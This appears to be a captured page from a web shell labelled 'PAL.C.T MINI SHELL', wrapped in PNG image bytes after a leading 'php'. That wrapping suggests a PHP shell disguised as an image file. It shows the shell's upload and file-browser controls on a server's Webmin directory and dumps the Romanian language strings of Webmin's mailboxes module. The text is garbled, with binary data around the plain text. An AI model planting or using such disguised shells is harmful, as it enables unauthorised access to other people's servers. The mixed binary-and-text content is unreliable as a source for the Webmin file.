php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/mailboxes/lang/
upload
files >> //usr/libexec/webmin/mailboxes/lang/ro.auto

index_title=Citiți e-mailul utilizatorului
index_none=Nu aveți voie să citiți e-mailuri pentru niciun utilizator din acest sistem.
index_header=Cutiile poștale ale utilizatorului
index_empty=Fără mail
index_return=lista de utilizatori
index_esystem=Niciunul dintre serverele de e-mail acceptate (Exim, Qmail, Postfix și Sendmail) nu a fost detectat pe sistemul dvs. Va trebui să ajustați configurația modulului <a href='$1'></a> pentru a seta serverul de poștă și, eventual, căile de e-mail.
index_esystem2=Serverul de e-mail setat în configurația modulului <a href='$1'></a> nu a fost găsit în sistemul tău. Va trebui să ajustați configurația pentru a utiliza serverul corect.
index_esystem3=A apărut o eroare la contactarea sistemului de e-mail setat în configurația modulului <a href='$1'></a>: $2.
index_system6=Server de poștă: Exim
index_system5=Server mail: Qmail+VPopMail
index_system4=Server mail: Qmail+LDAP
index_system2=Server mail: Qmail
index_system1=Server de e-mail: Sendmail
index_system0=Server de poștă: Postfix
index_toomany=Există prea mulți utilizatori pe sistemul dvs. pentru a fi afișate pe o singură pagină.
index_find=Găsiți utilizatorii unde numele de utilizator
index_equals=equals
index_contains=conține
index_eperl=Modulul Perl $1 necesar pentru modul de autentificare SMTP selectat nu este instalat sau lipsește un modul dependent. <a href='$2'>Faceți clic aici</a> pentru a o instala acum.
index_file=Citiți e-mail în fișier sau Maildir:
index_nousers=Nu a fost găsit niciun utilizator!
index_nousersmail=Nu a fost găsit niciun utilizator cu e-mail.

mail_title=E-mail utilizator
mail_from=Din
mail_date=Data
mail_subject=Subiect
mail_to=La
mail_cc=Cc
mail_bcc=Bcc
mail_pri=Prioritate
mail_highest=Cel mai inalt
mail_high=Înalt
mail_normal=Normal
mail_low=Scăzut
mail_lowest=Cel mai mic
mail_for=În $1
mail_for2=Pentru utilizator $1
mail_sent=În lista de e-mailuri trimise
mail_size=mărimea
mail_level=Scor
mail_delete=Șterge
mail_compose=Compune
mail_open=Deschis
mail_return=cutie poștală pentru utilizator
mail_pos=Mesaje de la $1 la $2 din $3 în $4
mail_none=Acest utilizator nu are mesaje în $1
mail_ecannot=Nu aveți voie să citiți e-mailul acestui utilizator
mail_all=Selectează tot.
mail_invert=Inverseaza selectia.
mail_nosort=Resetați sortarea.
mail_search=Găsiți mesaje unde
mail_body=Corp
mail_match=chibrituri
mail_ok=Căutare
mail_nonefrom=Nici unul
mail_mark=Marcați ca:
mail_mark0=necitită
mail_mark1=Citit
mail_mark2=Special
mail_forward=Redirecţiona
mail_move=Treceți la:
mail_copy=Copiaza in:
mail_rfc=Din linie
mail_eexists=Mesajul nu mai există!
mail_fchange=Schimbare
mail_indexlink=Înapoi la căsuța poștală
mail_deleteall=Sterge tot
mail_black=Refuză expeditorii
mail_white=Permite expeditorilor
mail_whitemove=Permite expeditorilor și Inbox
mail_efile=Fișierul poștal nu există
mail_fromsrch=Găsiți un e-mail cu același expeditor
mail_subsrch=Găsiți un e-mail cu același subiect
mail_tosrch=Găsiți e-mailul cu destinatarul
mail_fromfilter=Creați filtru după expeditor
mail_tofilter=Creați filtru în funcție de destinatar
mail_subfilter=Creați filtru după subiect
mail_unknown=Necunoscut

mail_sign=Semnează cu cheia
mail_nosign=&lt;Nu semnați&gt;
mail_crypt=Criptați pentru
mail_nocrypt=&lt;Nu criptați&gt;
mail_samecrypt=&lt;Taste de la adresele de destinație&gt;
mail_addresses=Gestionați agenda de adrese
mail_folders=Gestionează dosare
mail_err=A apărut o eroare la afișarea e-mailului în acest folder : $1
mail_loginheader=Autentificare server POP3
mail_loginheader2=Autentificare server IMAP
mail_logindesc=Trebuie să introduceți un nume de utilizator și o parolă pentru a accesa e-mailul din căsuța de e-mail a serverului de e-mail $1.
mail_loginuser=Nume de utilizator
mail_loginpass=Parola
mail_loginmailbox=Cutie poștală IMAP
mail_login=Autentificare
mail_reset=clar
mail_logout=Schimbă autentificarea POP3
mail_logout2=Schimbă autentificarea IMAP
mail_sig=Editează semnătură
mail_jump=Salt la pagină :
mail_of=de
mail_replyto=Raspunde la
mail_folder=Pliant
mail_delall=Sterge tot
mail_deltrash=Coșul de gunoi gol
mail_search2=Caută:
mail_search3=Găsiți cu scorul de mai sus:
mail_advanced=Cautare Avansata
mail_return2=E-mail utilizator
mail_esystem=A apărut o eroare la contactarea sistemului de e-mail: $1. Acest lucru trebuie stabilit de administratorul de sistem.
mail_selread=Selectați citit.
mail_selunread=Selectați necitit.
mail_selspecial=Selectați special.
mail_specialsync=Sincronizare specială

view_title=Citiți e-mail
view_desc=Mesaj $1 în $2
view_desc2=Mesaj $1 pentru utilizator $2
view_desc3=Mesaj $1
view_sent=Mesaj $1 în lista de e-mailuri trimise
view_qdesc=Mesaj în coadă $1
view_headers=Anteturi de e-mail
view_body=Conținutul mesajului
view_nobody=Acest mesaj nu conține corp.
view_allheaders=Vizualizați toate anteturile
view_noheaders=Vizualizați anteturile de bază
view_attach=Fișiere atașate
view_afile=Numele atașamentului
view_atype=Tip atașament
view_aactions=acţiuni
view_aview=Vedere
view_aopen=Deschis
view_asave=salva
view_aplain=Brut
view_anofile=Fără nume de fișier
view_asize=Mărime fișier
view_reply=Răspuns
view_reply2=Răspunde la toți
view_enew=Editează ca nou
view_forward=Redirecţiona
view_delete=Șterge
view_print=Imprimare
view_strip=Eliminați atașamentele
view_ecannot=Nu aveți voie să citiți e-mailul acestui utilizator
view_mark=Marcați ca:
view_mark0=necitită
view_mark1=Citit
view_mark2=Special
view_markas0=necitită
view_markas1=Citit
view_markas2=Special
view_return=e-mail original
view_sub=E-mail atașat
view_sub2=E-mail atașat de la $1
view_egone=Acest mesaj nu mai există
view_eugone=Acest utilizator nu exista

view_gnupg=Verificarea semnăturii GnuPG
view_gnupg_0=Semnarea cu $1 este valabilă.
view_gnupg_1=Semnarea cu $1 este valabilă, dar nu a putut fi stabilită un lanț de încredere.
view_gnupg_2=Semnarea cu $1 este validă <b>NU</b>.
view_gnupg_3=Codul cheie $1 nu se află în lista dvs., prin urmare semnătura nu a putut fi verificată.
view_gnupg_4=Verificarea semnăturii nu a reușit : $1
view_crypt=Decriptare prin poștă GnuPG
view_crypt_1=Mesajul este criptat, dar suportul GnuPG nu este instalat.
view_crypt_2=Nu a putut decripta mesajul : $1
view_crypt_3=E-mailul a fost decriptat cu succes.
view_crypt_4=Porțiunea de mesaj criptată a fost decriptată cu succes.
view_recv=<a href='$2'>ID-ul cheii de căutare $1 de la serverul de chei</a>.
view_folder=Înapoi la căsuța poștală
view_dheader=Detașați atașamentul la server
view_detach=Fișier detașare:
view_dall=&lt;Toate fișierele&gt;
view_dir=la fișierul sau directorul serverului:
view_black=Refuză expeditorul
view_white=Permite expeditorului
view_whitemove=Permiteți expeditorul și Inbox
view_razor=Raport de spam
view_ham=Raportează Ham
view_hammove=Raportează Ham și Inbox
view_razordel=Ștergeți spam
view_dstatus=Stare de livrare eșuată
view_dstatusok=Stare de livrare cu succes
view_final-recipient=Destinatar final
view_diagnostic-code=Motiv pentru eșec
view_remote-mta=Server de e-mail de la distanță
view_reporting-mta=Serverul de e-mail de raportare
view_astext=Vizualizați ca text
view_ashtml=Vizualizați ca HTML
view_images=Afișați imagini
view_raw=Vizualizați mesajul brut
view_aall=Salvați toate fișierele atașate ca ZIP.
view_aslideshow=Afișați toate imaginile.

compose_title=Scrie un email

reply_title=Răspundeți la e-mail
forward_title=Redirecționare email
enew_title=Editează e-mail
reply_headers=Anteturi de e-mail
reply_attach=Atașamente transmise
reply_mailforward=Mesaje transmise
reply_attach2=Fișiere atașate client și server
reply_attach3=Fișiere atașate încărcate
reply_send=Trimite e-mail
reply_ecannot=Nu aveți voie să trimiteți e-mail ca utilizator
reply_body=Mesaj text
reply_errc=Eroare la copierea e-mailului
reply_errm=Nu a reușit să mute poșta
reply_return=compune e-mail
reply_efwdnone=Niciunul dintre mesajele transmise nu există
reply_dsn=Solicitați notificarea de stare citită?
reply_del=Solicitați notificarea stării de livrare?
reply_aboot=Adăugați destinatarii în agenda de adrese?
reply_tabfrom=Din
reply_tabto=La
reply_tabreplyto=Raspunde la
reply_tabcc=Cc
reply_tabbcc=Bcc
reply_tabsigning=Semnare
reply_taboptions=Opțiuni
reply_addattach=Adăugați câmpul de atașare.
reply_addssattach=Adăugați câmpul de atașare din partea serverului.
reply_html0=Compuneți textul
reply_html1=Compuneți HTML

reply_spell=Verificați erori de ortografie?
reply_draft=Salvează ca ciornă
reply_save=Salvați și editați

send_err=Eroare la trimiterea e-mailului
send_eto=Lipsește adresa
send_efrom=Lipsește de la adresa
send_esubject=Lipsește subiectul de e-mail
send_title=Mail trimis
send_title2=E-mail salvat
send_ok=E-mail trimis cu succes către $1
send_sending=Se trimite mail către $1 ..
send_ecannot=Nu aveți voie să trimiteți e-mail ca utilizator
send_esmtp=Comanda SMTP $1 a eșuat : $2
send_eattach=Fișierele atașate nu pot totaliza mai mult de $1 kB.
send_eperms=Utilizatorul $1 nu poate citi $2
send_eperms2=Nu aveți voie să trimiteți fișierul $1
send_epath=Sendmail executabil $1 nu există.
send_efile=Nu a putut citi fișierul atașat $1 : $2 
send_done=.. Terminat.

send_epass=Nu puteți semna un mesaj deoarece fraza de acces nu a fost încă configurată în modulul GnuPG.
send_esign=Eroare la semnarea mesajului : $1
send_ekey=Nu s-a putut găsi cheia pentru adresa de e-mail $1
send_ecrypt=Eroare la criptarea mesajului : $1
send_eword=Cuvântul Misspelt $1
send_eword2=Cuvântul Misspelt $1 - corecții posibile $2
send_eline=În linie $1 :
send_espell=Următoarele erori de ortografie au fost găsite în mesajul dvs. ..
send_draft=E-mail către $1 salvat în folderul drafts.
send_drafting=Salvarea e-mailului în $1 în folderul drafts
send_eattachsize=Fișierul atașat pe mail a depășit dimensiunea maximă permisă de $1 octeți

delete_title=Ștergeți e-mail
delete_rusure=Sigur doriți să ștergeți mesajele selectate $1 din $2? Este posibil să dureze ceva timp pentru un fișier de mail mare. Până la terminarea ștergerii, nu trebuie efectuată nicio altă acțiune.
delete_rusure2=Sigur doriți să ștergeți acest mesaj din $1? Este posibil să dureze ceva timp pentru un fișier de mail mare. Până la terminarea ștergerii, nu trebuie efectuată nicio altă acțiune.
delete_ok=Șterge acum
delete_ecannot=Acum vi se permite să ștergeți e-mailul de la acest utilizator
delete_enone=Nu a fost selectată nicio e-mail pentru ștergere
delete_emnone=Nu a fost selectată poștă pentru a marca
delete_efnone=Nu a fost selectat niciun e-mail pentru a fi redirecționat
delete_ebnone=Niciun e-mail selectat să refuze
delete_ewnone=Nu a fost selectată poștă
delete_ernone=Nicio poștă selectată pentru a raporta ca spam
delete_ehnone=Nu a fost selectat niciun e-mail pentru a raporta ca ham
delete_emoveuser=Utilizatorul pentru a muta e-mailul nu există
delete_ecopyuser=Utilizatorul care copiază e-mailul nu există
delete_emovecannot=Nu aveți voie să mutați e-mailul către utilizatorul specificat
delete_ecopycannot=Nu aveți voie să copiați e-mailul către utilizatorul specificat
delete_emovenone=Nu a fost selectat niciun e-mail pentru a se muta
delete_ecopynone=Nu a fost selectată poștă pentru copiere
delete_nobutton=Nu a apăsat niciun buton
delete_ereport=Raportul nu a reușit să fie raportat ca spam
delete_errc=Eroare la copierea e-mailului
delete_errm=Nu a reușit să mute poșta

confirm_title=Confirmă ștergerea
confirm_warn=Sigur doriți să ștergeți mesajele selectate $1 din acest folder?
confirm_warnf=Sigur doriți să ștergeți mesajele selectate $1 din folderul <b>$2</b>?
confirm_warn2=Din cauza dimensiunii și a formatului căsuței dvs. poștale, acest lucru poate dura ceva timp. Până la terminarea ștergerii, nu trebuie efectuată nicio altă acțiune.
confirm_warn3=Sigur doriți să ștergeți acest mesaj?
confirm_warn4=Până la terminarea ștergerii, nu trebuie efectuată nicio altă acțiune.
confirm_ok=Șterge acum
confirm_warnall=Sigur doriți să ștergeți toate mesajele din acest folder?
confirm_warnallf=Sigur doriți să ștergeți toate mesajele din folderul <b>$1</b>?

search_title=rezultatele cautarii
search_ecannot=Nu aveți voie să căutați pe e-mailul acestui utilizator
search_ematch=Trebuie să introduceți text pentru a se potrivi cu.
search_escore=Scor de spam lipsă sau nevalid
search_efield=Trebuie să selectați un tip de căutare.
search_ewhat=Niciun text care să se potrivească cu intrat pentru rândul $1
search_enone=Nu au fost introduse criterii de căutare
search_none=Nu a fost găsit niciun mesaj.
search_results2=$1 mesaje de e-mail potrivite $2
search_results3=$1 mesaje de e-mail care nu corespund $2
search_results4=$1 mesaje de corespondență care se potrivesc căutării dvs.
search_results5=$1 mesaje de e-mail în care $2 se potrivesc cu $3
search_msg2=Rezultatele căutării pentru $1
search_msg4=Rezultatele cautarii
search_msg5=Rezultatele căutării pentru spam cu scor $1
search_msg6=Rezultatele căutării pentru $1 în câmpul $2
search_local=În dosarele locale
search_all=În toate dosarele
search_limit=(din ultimele mesaje $1)
search_status=Cu statut
search_attach=Trebuie să aveți atașamente?
search_allstatus=Orice
search_onestatus=Doar statut
search_latest=Mesaje de căutat
search_nolatest=Toate în folder
search_latestnum=Doar cel mai recent
search_elatest=Număr de mesaje lipsă sau nevalide de căutat
search_withstatus=, cu statut $1

folder_inbox=Inbox
folder_sent=E-mail trimis
folder_drafts=Schițe
folder_trash=Gunoi

detach_err=Nu a reușit să detașeze fișierul
detach_edir=Niciun fișier sau director de salvat pentru a fi introdus
detach_eopen=Nu a putut deschide $1 : $2 
detach_ewrite=Nu a reușit să scrie la $1 : $2 
detach_title=Detașați fișierul
detach_ok=Scrieți atașamentul la fișierul din server $1 ($2).

sform_title=Cautare Avansata
sform_header=Opțiuni avansate de căutare prin e-mail
sform_andmode=Modul criterii
sform_and=Găsiți mesaje care corespund tuturor criteriilor de mai jos ..
sform_or=Găsirea mesajelor se potrivește cu orice criterii de mai jos ..
sform_neg0=conține
sform_neg1=nu contine
sform_ok=Cauta acum
sform_folder2=Căutare în folder (e)
sform_all=&lt;Toate dosarele&gt;
sform_local=&lt;Foldere locale&gt;
sform_where=Unde
sform_text=textul
sform_from=Din: antet
sform_subject=Subiect: antet
sform_to=Către: antet
sform_cc=Cc: antet
sform_bcc=Bcc: antet
sform_date=Data: antet
sform_body=Conținutul mesajului
sform_headers=orice antet
sform_allmsg=mesaj întreg
sform_size=dimensiunea mesajului
sform_return=Formular de căutare avansat

find_enone=Nu a fost găsit niciun utilizator care să se potrivească cu căutarea dvs.
find_title=rezultatele cautarii
find_results=Utilizatori care se potrivesc căutării pentru $1 ..
find_user=Nume de utilizator
find_real=Nume real
find_group=grup
find_home=Director de acasă
find_size=Dimensiunea poștei
find_incount=E-mailuri
find_sentcount=Trimis
find_fcount=Dosare
find_in=$1 în $2

acl_none=Nici unul
acl_same=Utilizator cu același nume
acl_all=Toate
acl_read=Utilizatori a căror poștă poate fi citită
acl_users=Numai utilizatorii
acl_userse=Toate cu excepția utilizatorilor
acl_usersg=Membrii grupurilor
acl_from=Admise din adrese
acl_any=Orice adresă
acl_fdoms=Căsuță poștală @ domenii
acl_faddrs=Adrese enumerate
acl_fdom=Orice adresă @ domeniu
acl_fromname=Numele real pentru adresa Adresa
acl_apath=Limitați fișierele și programul la director
acl_attach=Dimensiunea maximă a fișierelor atașate
acl_unlimited=Nelimitat
acl_sent=Stocați e-mailul trimis în căsuța poștală
acl_canattach=Poate atașa fișiere din partea serverului?
acl_candetach=Poate detașa fișierele pe server?
acl_usersm=Se potrivesc utilizatorii
acl_asame=La fel ca numele de utilizator
acl_usersu=Cu UID în rază de acțiune
acl_sec=Includeți grupuri secundare?
acl_dir=Poate citi fișiere de e-mail în director
acl_dirauto=Decideți automat (oriunde dacă toți utilizatorii sunt vizibili, nicăieri altfel)

log_delmail=Mesaje șterse $1 de la $2
log_movemail=Mutat mesaje $1 de la $2 la $3
log_copymail=Copiate $1 mesaje de la $2 la $3
log_send=Trimis un e-mail către $1
log_read=Citiți e-mail pentru $1

emodified=Acest folder a fost modificat de la ultima vizualizare! Reveniți la <a href='$1'>lista de mail</a> și încercați din nou.

razor_title=Raportarea ca spam
razor_title2=Raportarea ca sunca
razor_report=Raportând acest mesaj către Razor și alte baze de date SpamAssassin care blochează spam-ul.
razor_report2=Raportarea mesajelor selectate către bazele de date care blochează spam-ul Razor și alte baze de date SpamAssassin.
razor_report3=Anularea mesajelor selectate către bazele de date care blochează spam-ul Razor și alte baze de date SpamAssassin.
razor_done=.. Terminat
razor_err=.. a eșuat! Consultați mesajul de eroare de mai sus pentru motivul pentru care.
razor_moved=.. terminat și mutat în folderul $1.
razor_deleted=.. terminat și șters mesajul.

ham_title=Raportarea ca sunca
ham_report=Raportarea acestui mesaj ca non-spam către bazele de date Razor și alte baze de date SpamAssassin.

black_title=Negarea expeditorului
black_done=A adăugat adresa de e-mail $1 la lista de adrese refuzate de SpamAssassin.
black_already=Adresa de e-mail $1 este deja pe lista de adrese refuzate de SpamAssassin.

white_title=Permiterea expeditorului
white_done=Adăugați adresa de e-mail $1 la lista de adrese permise SpamAssassin.
white_already=Adresa de e-mail $1 este deja pe lista de adrese permise de SpamAssassin.

ldap_emod=Modulul Perl lipsă $1 necesar pentru conectarea la LDAP
ldap_econn=Eroare la conectarea la serverul LDAP $1 port $2
ldap_elogin=Eroare la conectarea la serverul LDAP $1 ca $2 : $3 
ldap_ehost=Niciun server LDAP setat în configurația modulului
ldap_eport=Niciun port de server LDAP valabil în configurația modulului
ldap_euser=Nici o setare de conectare LDAP setată în configurația modulului
ldap_ebase=Niciun DN de bază LDAP setat în configurația modulului

delall_title=Ștergeți toate e-mailurile
delall_rusure=Sigur doriți să ștergeți toate e-mailurile de la $1? $2 mesajele în total $3 vor fi șterse pentru totdeauna.
delall_ok=Șterge acum

slide_title=Imagini atașate
slide_prev=Anterior
slide_next=Următor →

left_mail=Poștă
left_search=Căutare:
left_folders=Gestionează dosare
left_addresses=Carte de adrese
left_prefs=Preferințe prin poștă
left_forward=Redirecționare email
left_autoreply=Raspuns automat
left_filter=Filtre de e-mail
left_pass=Schimbați parola
left_sig=Editează semnătură
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`